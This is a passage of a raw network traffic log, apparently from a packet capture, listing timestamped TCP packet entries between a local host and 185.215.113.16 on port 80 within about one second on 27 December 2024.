Dec 27, 2024 09:00:23.553776979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.553787947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.553862095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.553864002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.554676056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.554711103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.554723978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.554835081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.554857969 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.555614948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.555643082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.555655003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.555674076 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.555715084 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.555742025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.556570053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.556590080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.556601048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.556646109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.556646109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.556742907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.557481050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.557509899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.557522058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.557579994 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.557579994 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.628377914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.628472090 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.628649950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.629559040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.629753113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.629765034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.629862070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.629880905 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.629918098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.630603075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.630656958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.630669117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.630728006 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.630764961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.630836964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.631442070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.631462097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.631473064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.631530046 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.631592035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.632360935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.632425070 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.632450104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.632462025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.632484913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.632591009 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.633373976 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.633424997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.633434057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.633436918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.633477926 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.633507013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.634196997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.634270906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.634285927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.634293079 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.634373903 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.634387970 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.635232925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.635288954 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.635291100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.635302067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.635349035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.635375023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.636110067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.636161089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.636173010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.636215925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.636236906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.636249065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.636317968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.637062073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.637106895 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.637120008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.637197018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.637202978 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.637635946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.637672901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.637686014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.637718916 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.637721062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.637742043 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.637772083 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.638407946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.638478994 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.638490915 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.638561010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.638567924 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.639695883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.639766932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.639779091 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.639780045 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.639822960 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.639843941 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.640706062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.640782118 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.640784025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.640795946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.640837908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.640858889 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.641490936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.641783953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.641835928 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.641848087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.641906977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.641973972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.642011881 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.642637014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.642689943 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.642702103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.642751932 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.642793894 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.643486023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.643534899 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.643543959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.643556118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.643599987 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.643603086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.644531965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.644543886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.644556999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.644576073 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.644608021 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.644629002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.644674063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.645361900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.645412922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.645422935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.645548105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.645622015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.646254063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.646352053 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.646363974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.646405935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.646405935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.647236109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.647280931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.647294044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.647325039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.647325039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.647392988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.647437096 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.648180008 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.648235083 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.648247004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.648293972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.648349047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.648407936 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.649106979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.649154902 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.649167061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.649239063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.649251938 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.649437904 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.650046110 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.650095940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.650108099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.650140047 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.650190115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.651185036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.651264906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.651266098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.651276112 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.651326895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.651369095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.651655912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.652044058 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.652180910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.652193069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.652235031 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.652256966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.652328968 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.652582884 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.652647972 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.652668953 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.652705908 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.652776003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.653532982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.653544903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.653556108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.653595924 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.653661966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.653809071 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.654494047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.654548883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.654560089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.654623032 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.654630899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.655352116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.655400038 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.655411005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.655450106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.655450106 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.655520916 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.656301022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.656320095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.656332016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.656410933 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.656446934 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.657248020 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.657277107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.657331944 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.657339096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.657350063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.657402039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.658148050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.658214092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.658225060 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.658274889 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.658293962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.659079075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.659112930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.659151077 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.659151077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.659221888 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.659230947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.659612894 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.660012960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.660060883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.660072088 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.660119057 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.660145044 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.660203934 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.660948992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.660995960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.661006927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.661056995 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.661089897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.661544085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.661866903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.661885977 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.661915064 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.661940098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.662014961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.662065983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.662822962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.662872076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.662883997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.662930965 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.662952900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.663754940 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.663774014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.663784981 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.663806915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.663835049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.663889885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.664669991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.664726019 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.664731026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.664742947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.664817095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.664819956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.665601969 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.665611029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.665652037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.665663958 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.665734053 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.665755033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.665812016 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.666543007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.666618109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.666630983 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.666697979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.666703939 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.667467117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.667515039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.667526007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.667555094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.667555094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.667596102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.668390989 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.668446064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.668457031 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.668474913 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.668534040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.668536901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.669322014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.669368982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.669380903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.669390917 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.669426918 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.669457912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.670063972 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.670268059 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.670308113 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.670320034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.670366049 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.670397997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.671180010 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.671241045 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.671247005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.671252966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.671303034 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.671328068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.672183990 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.672240973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.672267914 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.672280073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.672322035 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.672358036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.673047066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.673096895 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.673105955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.673118114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.673188925 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.673188925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.673707962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.673986912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.674034119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.674045086 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.674084902 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.674137115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.674918890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.674967051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.674978018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.675002098 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.675019979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.675071955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.675857067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.675910950 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.675918102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.675930023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.675987005 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.676007032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.676789999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.676831961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.676845074 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.676860094 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.676896095 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.676971912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.677484989 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:00:23.677716017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.677781105 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:00:23.677793026 CET	80	49743	185.215.113.16	192.168.2.4
